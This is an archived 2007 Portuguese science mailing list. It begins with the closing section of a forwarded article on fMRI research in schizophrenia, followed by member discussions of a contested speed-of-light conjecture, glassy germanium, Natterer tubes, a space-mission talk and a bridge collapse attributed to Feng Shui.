voz17 ou do "discurso interno" 18 na investigação do substrato cognitivo das
alucinações auditivas. Pode-se também provocar o aparecimento do sintoma em
indivíduos sadios através do uso de drogas19 ou captar sintomas ativos em
pacientes que os apresentam em curso praticamente contínuo numa fase aguda
da doença.20 Outra abordagem é a de estudar pacientes com diagnósticos
diferentes, porém com o mesmo sintoma. Pode-se também avaliar os correlatos
neurofuncionais de um mesmo indivíduo durante a presença de um sintoma e
após a sua remissão.21 Os trabalhos que associam RMf ao estudo de sintomas
não deixam dúvidas de que existem correlatos neurofuncionais (e cognitivos)
especificamente ligados a determinados sintomas e não ao diagnóstico
psiquiátrico, como mostram Kircher et
al.*<http://www.scielo.br/scielo.php?script=sci_arttext&pid=S1516-44462001000500012&lng=en&nrm=iso#back>Usando
RMf numa tarefa de produção de palavras que completassem uma
sentença, demonstrou-se uma atenuação da ativação do córtex temporal direito
em pacientes esquizofrênicos com transtorno do pensamento em relação a
controles sadios e esquizofrênicos sem esse sintoma.

*Neuropsicologia e cognição*

Os testes neuropsicológicos têm sido largamente empregados na pesquisa em
esquizofrenia na tentativa de se elucidar quais déficits cognitivos estão
associados a diagnósticos ou sintomas específicos.22 A neuropsicologia
nasceu da observação clínica de pacientes que sofreram lesões cerebrais numa
época em que não existiam as técnicas de neuroimagem. Tais pacientes
apresentavam deficiência no desempenho de determinadas funções, por exemplo,
a produção e/ou compreensão da linguagem, a capacidade de copiar movimentos,
etc. A caracterização do perfil de desempenho de determinado paciente numa
bateria de testes neuropsicológicos dava pistas de onde se localizava a
lesão cerebral responsável por um desempenho alterado. A neuropsicologia
adquiriu um novo caráter com o desenvolvimento dos métodos de neuroimagem
que permitem a detecção de lesões estruturais ou alterações funcionais com
uma grande precisão espacial. O uso dos testes neuropsicológicos na pesquisa
da função cerebral em psiquiatria se beneficiou muito da associação com a
RMf. A partir de uma tarefa (ou comportamento) conhecida (que tem um
paradigma predeterminado) pode-se estudar não só o desempenho de pacientes
psiquiátricos, mas também de que maneira o cérebro está funcionalmente se
organizando para atingi-lo.23 Isso permite a detecção de padrões anômalos de
atividade cerebral em pacientes esquizofrênicos (ou portadores de outras
patologias), mesmo que aparentemente seu desempenho seja satisfatório. Isso
é muito importante, pois facilita a investigação do substrato neurofuncional
do fenômeno psiquiátrico. Observa-se, com certa freqüência, que o
comportamento observado (tempo de reação ou acurácia das respostas) não é
diferente entre pacientes e controles. No entanto, o padrão de ativação
cerebral (detectado pela RMf) relativo a esse comportamento pode ser
completamente diferente nos dois grupos. Inversamente, pode-se observar o
mesmo padrão de ativação nos dois grupos para comportamentos diferentes, ou
ainda padrões de ativação e comportamentos distintos nos dois grupos. Esses
três exemplos possibilitam demonstrar se determinados circuitos cerebrais
são cruciais para o desempenho de determinada tarefa ou não e também se
estão funcionalmente comprometidos pela doença (ou sintoma). A patologia
psiquiátrica é um modelo natural de funcionamento cerebral alterado. Usá-la
na investigação científica do sistema nervoso traz novos conhecimentos que
não se restringem ao campo da psiquiatria. O estudo da ativação cerebral em
pacientes psiquiátricos, através da combinação de RMf e tarefas cognitivas,
está se constituindo numa mudança de paradigma na busca do entendimento da
função cerebral.24

*Exemplo*

Para ilustrar o que foi dito anteriormente, a
Figura<http://www.scielo.br/scielo.php?script=sci_arttext&pid=S1516-44462001000500012&lng=en&nrm=iso#fig1>apresenta
as imagens de um estudo realizado utilizando RMf num desenho
evento-relacionado para a investigação dos correlatos neurofuncionais do
processamento de sentenças em pacientes esquizofrênicos com transtorno do
pensamento (TP).25 Pacientes esquizofrênicos com (n=11) e sem (n=9)
transtorno do pensamento e controles sadios (n=10) foram escaneados enquanto
decidiam se uma última palavra combinava (semanticamente) ou não com a
sentença incompleta, previamente apresentada. Nota-se que o padrão de
ativação é diferente nos três grupos, corroborando a idéia de que existem
substratos neurofuncionais especificamente associados a sintomas na
esquizofrenia (Figura<http://www.scielo.br/scielo.php?script=sci_arttext&pid=S1516-44462001000500012&lng=en&nrm=iso#fig1>).
Esse estudo é um exemplo entre muitos outros de que, apesar das dificuldades
apresentadas anteriormente, a utilização da RMF na pesquisa em psiquiatria
já produz resultados fidedignos, mesmo quando usada em pacientes psicóticos.






CONCLUSÃO

A RMf é uma técnica de avaliação da atividade cerebral de grande precisão
com relação à sua localização espacial. A possibilidade de se realizarem
experimentos evento-relacionados trouxe melhora na sua precisão temporal,
aproximando-a do tempo de duração do evento a ser estudado. A identificação
dos circuitos que estão envolvidos na fisiopatologia dos sintomas
psiquiátricos começa a se tornar uma meta passível de ser atingida, o que
está gerando um grande avanço do conhecimento das funções cerebrais, sendo
de particular importância para a pesquisa em esquizofrenia.

Fonte de financiamento: Capes (Processo nº BEX 20-74/95-1).



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*Correspondência*: Silvia Maria Arcuri
Institute of Psychiatry, Section of Neuroimaging
De Crespigny Pk, SE5 8AF, London, UK - E-mail: s.arcuri@iop.kcl.ac.uk



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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/08/2007 01:07

----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Thursday, August 16, 2007 8:57 PM
Subject: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade
da luz

> relativamente à sua visita aqui pelo C-List, e nada a ver com o
> tema, pergunto onde está aquele seu artigo diferenciando gases e
> vapores? Vire e mexe re-aparece a pergunta e eu perco o mapa da
> mina.

O artigo é "Introdução à físico-química das soluções" e pode ser
encontrado em http://www.ecientificocultural.com/BFQ/solu01.htm . A
questão em foco (diferença entre gases e vapores) está no item "C-2
Liquefação e Vaporização". Clique então neste item (C-2), no início da
página acima linkada, ou então clique aqui -->
http://www.ecientificocultural.com/BFQ/solu08.htm#C-2 para ir direto
ao tópico:

> Agora, à relatividade:
> se o astronauta está com uma boa 'velocidade relativista', digamos
> 0,8c, a luz que "parte" dele terá valor 'c', em relação ao
> astronauta (sempre 'c', em relação à fonte que a emitiu),...

This is the question!!! ;-) Eu não afirmei isto e nem mesmo acredito
que a velocidade da luz, em relação à fonte que a emitiu, seja sempre
a constante universal "c". Na minha maneira de encarar o problema,
100% dentro dos cânones newtonianos (embora Newton não tenha chegado à
conclusão a que cheguei), a velocidade c da luz emitida por uma fonte
será, no referencial da fonte, sempre proporcional à velocidade da
fonte em relação a um referencial absoluto newtoniano. Em outras
palavras, eu poderia dizer que "c" é uma variável do tipo c = k*V,
sendo V a velocidade absoluta da fonte. A "nossa" constante c (aprox.=
300000km/s) seria uma constante galaxial, ou seja, aprisionada à
velocidade V da nossa Galáxia em relação a um referencial absoluto
newtoniano (provavelmente o referencial que, de maneira privilegiada,
presenciou o Big-Bang, se é que algo desse tipo realmente existiu).
Como todos os nossos laboratórios que mediram "c" (e/ou que mediram as
constantes do eletromagnetismo) estavam na velocidade absoluta V da
Galáxia (ou muito próximos disso), o "c" medido aparenta ser uma
constante universal.

É provável, mas isso eu não afirmo categoricamente, que essa
constante de proporcionalidade k seja exatamente igual a 1. Isso, a
meu ver, seria o mesmo que afirmar que o "c" que medimos não retrata a
constância da velocidade da luz mas sim seria nada mais, nada menos,
que a velocidade da nossa Galáxia no referencial de um Big-Bang
clássico. Ou seja, V seria a velocidade com a qual nossa Galáxia viaja
no Universo a partir de sua origem. Supor k = 1 levar-nos-ia à
conclusão que medir "c" seria o mesmo que medir a velocidade absoluta
da fonte. Perceba que Newton, no século XVII, não tinha como concluir
que o referencial absoluto seria o referencial do Big-Bang (se é que
algo desse tipo realmente existiu).

> e que velocidade teria em relação ao referencial Terra no qual está
> se medindo os tais 0,8c? Seria 0,2c?

A partir do que afirmei acima, tudo seria muito simples, bastando
seguir a receita fornecida por Newton. E isso você tem demonstrado
saber fazer muito bem, logo não preciso dizer mais nada.

Nada numa mão, nada na outra. ;-)

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/08/2007 09:45

OK Alberto,

entendo sua postura, perfeitamente coerente com sua linha de pensamento.
Um detalhe me escapa, a saber, na sua proposta c = k.V. Esse k, constante de proporcionalidade, ficou 'nebuloso'. Toda constante, ao ser individualizada numa questão, deve vir acompanhada do 'em relação a que/quem' --- "k é constante em relação a ...".
Num exemplo miseravelmente simples, x = a.cosw.t traduz um MHS se 'a' e 'w' forem constantes "em relação ao tempo"; não basta dizer "são constantes"!
Assim, aquele 'k' na sua proposta, uma grandeza adimensional, é constante em relação a que? ao tempo? à velocidade?
Por outro lado, o valor numérico de uma constante, por exemplo no chute k = 1, é arbitrado pelo sistema coerente (racionalizado) de unidades. Se os referenciais de medidas de velocidade são diferentes, as contrações de Lorentz tornarão as medidas de distâncias diferentes, logo, o "m/s" para medida de V é diferente do "m/s" para a medida de c.

Como pode perceber, sou "especialista em relatividade", tão especialista quanto à nova definição que proponho para a 'caloria':
"Calorias são pequenos animais que vivem nos guarda-roupas e que, durante a noite, apertam as roupas das pessoas."

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 17 de agosto de 2007 01:07
Assunto: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz


----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Thursday, August 16, 2007 8:57 PM
Subject: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade
da luz

> relativamente à sua visita aqui pelo C-List, e nada a ver com o
> tema, pergunto onde está aquele seu artigo diferenciando gases e
> vapores? Vire e mexe re-aparece a pergunta e eu perco o mapa da
> mina.

O artigo é "Introdução à físico-química das soluções" e pode ser
encontrado em http://www.ecientificocultural.com/BFQ/solu01.htm . A
questão em foco (diferença entre gases e vapores) está no item "C-2
Liquefação e Vaporização". Clique então neste item (C-2), no início da
página acima linkada, ou então clique aqui -->
http://www.ecientificocultural.com/BFQ/solu08.htm#C-2 para ir direto
ao tópico:

> Agora, à relatividade:
> se o astronauta está com uma boa 'velocidade relativista', digamos
> 0,8c, a luz que "parte" dele terá valor 'c', em relação ao
> astronauta (sempre 'c', em relação à fonte que a emitiu),...

This is the question!!! ;-) Eu não afirmei isto e nem mesmo acredito
que a velocidade da luz, em relação à fonte que a emitiu, seja sempre
a constante universal "c". Na minha maneira de encarar o problema,
100% dentro dos cânones newtonianos (embora Newton não tenha chegado à
conclusão a que cheguei), a velocidade c da luz emitida por uma fonte
será, no referencial da fonte, sempre proporcional à velocidade da
fonte em relação a um referencial absoluto newtoniano. Em outras
palavras, eu poderia dizer que "c" é uma variável do tipo c = k*V,
sendo V a velocidade absoluta da fonte. A "nossa" constante c (aprox.=
300000km/s) seria uma constante galaxial, ou seja, aprisionada à
velocidade V da nossa Galáxia em relação a um referencial absoluto
newtoniano (provavelmente o referencial que, de maneira privilegiada,
presenciou o Big-Bang, se é que algo desse tipo realmente existiu).
Como todos os nossos laboratórios que mediram "c" (e/ou que mediram as
constantes do eletromagnetismo) estavam na velocidade absoluta V da
Galáxia (ou muito próximos disso), o "c" medido aparenta ser uma
constante universal.

É provável, mas isso eu não afirmo categoricamente, que essa
constante de proporcionalidade k seja exatamente igual a 1. Isso, a
meu ver, seria o mesmo que afirmar que o "c" que medimos não retrata a
constância da velocidade da luz mas sim seria nada mais, nada menos,
que a velocidade da nossa Galáxia no referencial de um Big-Bang
clássico. Ou seja, V seria a velocidade com a qual nossa Galáxia viaja
no Universo a partir de sua origem. Supor k = 1 levar-nos-ia à
conclusão que medir "c" seria o mesmo que medir a velocidade absoluta
da fonte. Perceba que Newton, no século XVII, não tinha como concluir
que o referencial absoluto seria o referencial do Big-Bang (se é que
algo desse tipo realmente existiu).

> e que velocidade teria em relação ao referencial Terra no qual está
> se medindo os tais 0,8c? Seria 0,2c?

A partir do que afirmei acima, tudo seria muito simples, bastando
seguir a receita fornecida por Newton. E isso você tem demonstrado
saber fazer muito bem, logo não preciso dizer mais nada.

Nada numa mão, nada na outra. ;-)

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/08/2007 09:56

Olá, de novo, Alberto,

>O artigo é "Introdução à físico-química das soluções" e pode ser
encontrado em http://www.ecientificocultural.com/BFQ/solu01.htm . A
questão em foco (diferença entre gases e vapores) está no item "C-2
Liquefação e Vaporização". Clique então neste item (C-2), no início da
página acima linkada, ou então clique aqui -->
http://www.ecientificocultural.com/BFQ/solu08.htm#C-2 para ir direto
ao tópico:<

Vc tem algum lugar que cita os tubos de Netterer? Faz bom tempo que não 'vejo' falar deles!

[]'
Léo




SUBJECT: Re: Star Trek: Alumínio transparente vem aí?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 09:59

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Eles esfriaram germânio líquido sob pressão e conseguiram obter uma
> solidificação vítrea: sem a formação de cristais ordenados.

Qual o interesse em solidificação vítrea? O material vítreo tem alguma
vantagem sobre o cristalino? Ou alguma propriedade que o torne
interessante?

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: Star Trek: Alumínio transparente vem aí?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/08/2007 10:10

'Vítreo', aqui, tem sinônimo de 'amorfo'? Ou sugere apenas a estrutura do vidro comum? O vidro comum, por exemplo, é bom isolante elétrico, coisa que não acontece quando aquecido próximo ao rubro --- ai até é bom condutor elétrico!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 17 de agosto de 2007 09:59
Assunto: [ciencialist] Re: Star Trek: Alumínio transparente vem aí?


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Eles esfriaram germânio líquido sob pressão e conseguiram obter uma
> solidificação vítrea: sem a formação de cristais ordenados.

Qual o interesse em solidificação vítrea? O material vítreo tem alguma
vantagem sobre o cristalino? Ou alguma propriedade que o torne
interessante?

[]s
--
César A. K. Grossmann




SUBJECT: Re: Star Trek: Alumínio transparente vem aí?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 10:24

--- Em ciencialist@yahoogrupos.com.br, César A. K. Grossmann
> Qual o interesse em solidificação vítrea? O material vítreo tem alguma
> vantagem sobre o cristalino? Ou alguma propriedade que o torne
> interessante?

Bem, uma propriedade mais ou menos especial do vidro é q ele não tem
um ponto de fusão específico.

Mas o estudo em questão tem mais interesse teórico do q imediatamente
de aplicação tecnológica.

[]s,

Roberto Takata



SUBJECT: 1o Aniversário da Missão Centenário
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 10:27

21 de Agosto de 2007 - às 18 horas
Palestra: "As curiosidades & a importância das missões espaciais para
o desenvolvimento tecnológico e social do país"
- "Estação Espacial Internacional: ciência & negócios" - astronauta
americano Jeffrey Williams
- "Expedição 13: vivendo no espaço" - cosmonauta russo Pavel Vinogradov
- "Missão Centenário: uma conquista brasileira no espaço" - astronauta
brasileiro Marcos Pontes
Local: Escola SENAI Engenheiro Adriano José Marchini - R. Anhaia, 1321
- Bom Retiro
Cidade: São Paulo
Ingresso: 1 agasalho
-----------------------------
[]s,

Roberto Takata



SUBJECT: Re: Star Trek: Alumínio transparente vem aí?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 13:52

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> 'Vítreo', aqui, tem sinônimo de 'amorfo'?

Basicamente.

[]s,

Roberto Takata



SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 15:09

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Um detalhe me escapa, a saber, na sua proposta c = k.V. Esse k,
> constante de proporcionalidade, ficou 'nebuloso'.

Essa proposta de todo modo é facilmente testável. Pela proposta, se V
fosse igual a zero, c tb seria. Ou seja, se objetos ficassem parados,
eles seriam invisíveis. Não faz sentido.

[]s,

Roberto Takata



SUBJECT: Fim da Astronomy Brasil
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 17:56

Li na comunidade no Orkut (da revista) que a Astronomy Brasil foi
cancelada. Nao sei se eh verdade, mas no site da Loja Duetto nao tem
link para assinaturas.

http://www2.uol.com.br/astronomy/

Eh uma pena.

Ateh
Luis Brudna

=-=-=-


SUBJECT: Re: Fim da Astronomy Brasil
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/08/2007 19:11

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
> Li na comunidade no Orkut (da revista) que a Astronomy Brasil foi
> cancelada.

Poxa, espero q não seja verdade.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/08/2007 07:39

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, August 17, 2007 9:56 AM
Subject: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade
da luz

> Vc tem algum lugar que cita os tubos de Netterer? Faz bom tempo que
> não 'vejo' falar deles!

Não tenho a menor idéia do que sejam "tubos de Netterer". ;-)

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Tubos de Natterer
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/08/2007 09:56

É que a besta aqui escreveu "Netterer" em lugar de "Natterer", por isso vc não reconheceu :-)
No assunto 'Curvas de Andrews' onde se apresentam as zonas de diagramas de estados: gás, gás+líquido, líquido, o experimento com tubos de Natterer são o que há de melhor para se enxergar a transformação de gás para líquido e vice-versa (a substância usada é anidrido carbônico).
Esse experimento é 'consagrado' na liquefação de gases.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 18 de agosto de 2007 07:39
Assunto: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade da luz



> Vc tem algum lugar que cita os tubos de Netterer? Faz bom tempo que
> não 'vejo' falar deles!

Não tenho a menor idéia do que sejam "tubos de Netterer". ;-)

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: Cientistas alegam ter quebrado a velocidade da luz
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/08/2007 14:42

Postei esta mensagem em meu Outlook Express as 7 horas e,
por motivo que ignoro, não apareceu na Ciencialist, logo
estou repostando através da página web, com ligeiras modi-
ficações.

----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Friday, August 17, 2007 9:45 AM
Subject: Re: [ciencialist] Cientistas alegam ter quebrado a velocidade
da luz

> entendo sua postura, perfeitamente coerente com sua linha
> de pensamento. Um detalhe me escapa, a saber, na sua
> proposta c = k.V. Esse k, constante de proporcionalidade,
>ficou 'nebuloso'. Toda constante, ao ser individualizada
> numa questão, deve vir acompanhada do 'em relação a
> que/quem' --- "k é constante em relação a ...".
> Num exemplo miseravelmente simples, x = a.cosw.t traduz
> um MHS se 'a' e 'w' forem constantes "em relação ao
> tempo"; não basta dizer "são constantes"!Assim, aquele
> 'k' na sua proposta, uma grandeza adimensional, é
> constante em relação a que? ao tempo? à velocidade?

Sinceramente falando, não entendi a dúvida. Se eu digo que, na
expressão c = k.V [do tipo c = f(V)], k é constante, creio estar
implícito que o valor de k se mantém constante, qualquer que seja V.
Poderíamos questionar se essa constância se mantém no decorrer do
tempo (seria isso?) e neste caso o máximo que eu poderia dizer seria
que aparentemente sim, nada obstando a que varie para tempos
relativamente longos. Por exemplo: eu sei que a cor observada na
esmeralda será a mesma, tanto hoje quanto amanhã, ou seja, existe
alguma constância de cor sendo levada em consideração. Não obstante,
não sei se essa cor se manterá nos próximos 10000 anos. Assim como há
também alguns trabalhos a considerarem uma discretíssima variação da
constante universal "c" através dos milênios [Se não me falha a
memória as idéias do Magueijo vão por essa linha].

De qualquer forma, há algumas coisas a serem levadas em consideração.
1)Tudo o que eu afirmo a respeito de k são conjecturas. 2) Essas
conjecturas (por exemplo, k) não apóiam as minhas teorias, apenas
relacionam-se assuntos interligados e, estes sim, inerentes às
teorias como, por exemplo, o absolutismo do movimento (que não chega
a ser hipótese da teoria, mas sim conclusão, após muitas encucações,
ou seja, do tipo "se a teoria for verdadeira, conclui-se por essa
linha de raciocínio que..."). 3) Apesar de conjecturado, k está sendo
proposto como constante universal, logo estou supondo sua
invariabilidade para intervalos de tempo da ordem daqueles levados em
conta nos laboratórios.

É importante dizer também que não é fácil falar em velocidade absoluta
(e/ou movimento absoluto) sem se machucar, sem dar origens a mal
entendidos bem como ter que ouvir asneiras como aquelas proferidas
pelo intrometido Takata (vide msg
http://br.groups.yahoo.com/group/ciencialist/message/64982 ). Como
diria Mário Schenberg "É preciso que não tenham medo de dizer alguma
coisa que possa ser considerada como erro. Porque tudo que é novo,
aparece aos olhos antigos como coisa errada." Ora, eu não estou
falando simplesmente em velocidade, como o enxerido deu a entender,
mas em "velocidade absoluta", no sentido newtoniano do termo, e
procurando adaptá-la à modernidade (descobertas efetuadas nos
séculos XIX e XX). Não sei se ele se deu conta disso. Pelo que ele
afirmou, de maneira totalmente ingênua (a soar sarcasticamente e a
caracterizar sua marca registrada), muito provavelmente não.

Vocês já pensaram nas implicações filosófico-científicas associadas à
idéia do "ficar parado num referencial absoluto" da ordem daquele que
estou propondo e a relacionar-se a um Big-Bang clássico? Isso seria
um assunto para gigabites de conversa e, sinceramente, não sei se
aqui seria o local mais adequado posto que, como denunciei
recentemente (28 de julho de 2007 -
http://br.groups.yahoo.com/group/ciencialist/message/64682 ), "isso
aqui virou uma fogueira de vaidades e/ou território de xingamentos" e
não estou disposto a servir de chacota para elemento mal intencionado
que sequer consegue levantar um problema de maneira decente e
respeitosa.

Apesar disso, deixarei aqui um dado para encucações (não esperem por
respostas): Num laboratório praticamente fixo à Terra é possível
chegar-se próximo ao zero absoluto de temperatura e, pelo menos num
limite, entender-se o significado desse zero absoluto. Pergunto agora:
Qual seria o significado de zero absoluto de temperatura num
referencial em repouso absoluto, por exemplo, naquele hipotético
referencial "onde teria se observado" um Big-Bang clássico (se é que
isso existiu)? Existiria, nessas condições, estrutura cristalina? Como
seria a terceira lei da termodinâmica? Existiria luz? Como as
partículas permaneceriam agregadas umas às outras, como na
constituição dos átomos? Existiriam átomos? Existiria fonte de luz?
Existiriam campos mensuráveis e de valor absoluto diferente de zero?
Existiriam enxeridos, como o Takata, a pensar sobre o que faz ou deixa
de fazer sentido?

> Por outro lado, o valor numérico de uma constante, por exemplo no
> chute k = 1, é arbitrado pelo sistema coerente (racionalizado) de
> unidades. Se os referenciais de medidas de velocidade são
> diferentes, as contrações de Lorentz tornarão as medidas de
> distâncias diferentes, logo, o "m/s" para medida de V é diferente do
> "m/s" para a medida de c.

Estou falando em física clássica e a se apoiar nos cânones
newtonianos. Nestas condições as contrações de Lorentz devem ser
interpretadas como artefato de medida. Existem sim, mas devem ter uma
explicação outra e diferente daquelas que deram origens às
ficcionistas contorsões espaço-temporais. Por outro lado, se eu
aceitar as interpretações relativísticas para as contrações de
Lorentz, então nada do que eu disse faria sentido, pois estaria
caindo no mesmo erro denunciado na primeira mensagem que escrevi para
essa thread. Em resumo, a meu ver, e do ponto de vista clássico-
newtoniano, não há lugar para se falar em diferentes "m/s".

> Como pode perceber, sou "especialista em relatividade", tão
> especialista quanto à nova definição que proponho para a 'caloria':
> "Calorias são pequenos animais que vivem nos guarda-roupas e que,
> durante a noite, apertam as roupas das pessoas."

Excelente definição. Merece ir para o site do Brudna.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Keepon, o robô dançante
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/08/2007 15:01

Keepon, o robô dançante
<http://100nexos.com/arquivo/248><http://100nexos.com/arquivo/248#respond>

Assista ao vídeo <http://100nexos.com/arquivo/248>

Confira todo o gingado e malemolência de
Keepon<http://univ.nict.go.jp/people/xkozima/infanoid/robot-eng.html>.
Quem tem mais de vinte anos deve lembrar das infames flores, latas e tantas
mais coisas dançantes<http://www.audiogold.co.uk/catalogue/product_info.php?cPath=6_28&products_id=209>infames
que se prolongam até hoje, mas Keepon é um robô de verdade com duas
câmeras e um microfone (o nariz), capaz de responder a estímulos externos,
como acompanhar rostos. Mais um videoclipe
aqui<http://www.youtube.com/watch?v=nPdP1jBfxzo>
.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Feng Shui mata
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/08/2007 15:03

Feng Shui mata <http://100nexos.com/arquivo/254>

Uma ponte chinesa que desabou matando 41 pessoas foi constru�da com pedras e
concreto ao inv�s de a�o mais resistente, para que ficasse em "harmonia com
o ambiente", segundo a imprensa local, citando um oficial � "Enquanto a
causa do colapso ainda seja desconhecida, um oficial local na cena disse que
um modelo de ponte 'tradicional e perigoso', feito de pedra e concreto,
havia sido escolhido ao inv�s de uma estrutura de metal para garantir que
permanecesse 'em harmonia com o ambiente natural', disse o China Daily. [
Reuters<http://www.reuters.com/article/worldNews/idUSPEK18727520070816?feedType=RSS&feedName=worldNews>
]

Isso lembra uma s�tire cl�ssica de 1999, escrita pelo c�tico Steven Novella:

"Engenharia Alternativa"
Um novo fen�meno est� varrendo o pa�s, chamando a aten��o tanto de
consumidores quanto de fabricantes. Cada vez mais desencantados com o frio
mundo met�lico que nossa tecnologia moderna vem produzindo, as pessoas est�o
come�ando a prestar mais aten��o a alternativas mais naturais. Chamados
coletivamente de Engenharia Alternativa (EA), v�rios m�todos novos e antigos
est�o ganhando respeito cient�fico.
Alec Waterston � um desses auto-denomindados engenheiros alternativos � O
�ltimo projeto de Alec� para uma ponte de n�o-suspens�o de 360 metros. Ele
diz que a ponte poder� se estender por essa dist�ncia sem pilares ou
suspens�o, e ser� apoiada apenas para arte milenar do Feng Shui. "Esta
sabedoria antiga � a arte de canalizar energia atrav�s do desenho e forma.
Esta energia pode ser usada para apoiar uma ponte de 360 metros, ou
estruturas at� maiores". �
Alec tem seus cr�ticos, contudo.Anthony Trellis, professor de engenharia da
State University, diz que os projetos de Alec s�o contr�rios a princ�pios
b�sicos da f�sica e ci�ncia de materiais. Um Trellis exasperado comentou:
"Uma ponte constru�da baseada nos desenhos de Waterston simplesmente n�o
ficar� de p�. Seria extremamente insegura".
Alec n�o est� incomodado com tais cr�ticas. "� claro que o professor Trellis
n�o gosta de meus desenhos, porque eles questionam seu precioso status quo e
viram seu mundo de cabe�a para baixo. O protecionismo da velha guarda,
contudo, est� come�ando a ruir, assim como seus edif�cios antigos".
[Leia toda a s�tira em ingl�s aqui<http://www.theness.com/articles.asp?id=2>
]

O triste � que a s�tira se tornou realidade, e pessoas morreram.

*Veja tamb�m:*
Gatos com asas: a (nada) terr�vel verdade
<http://100nexos.com/arquivo/175>"Um gatinho, pertencente ao chin�s
Granny F...


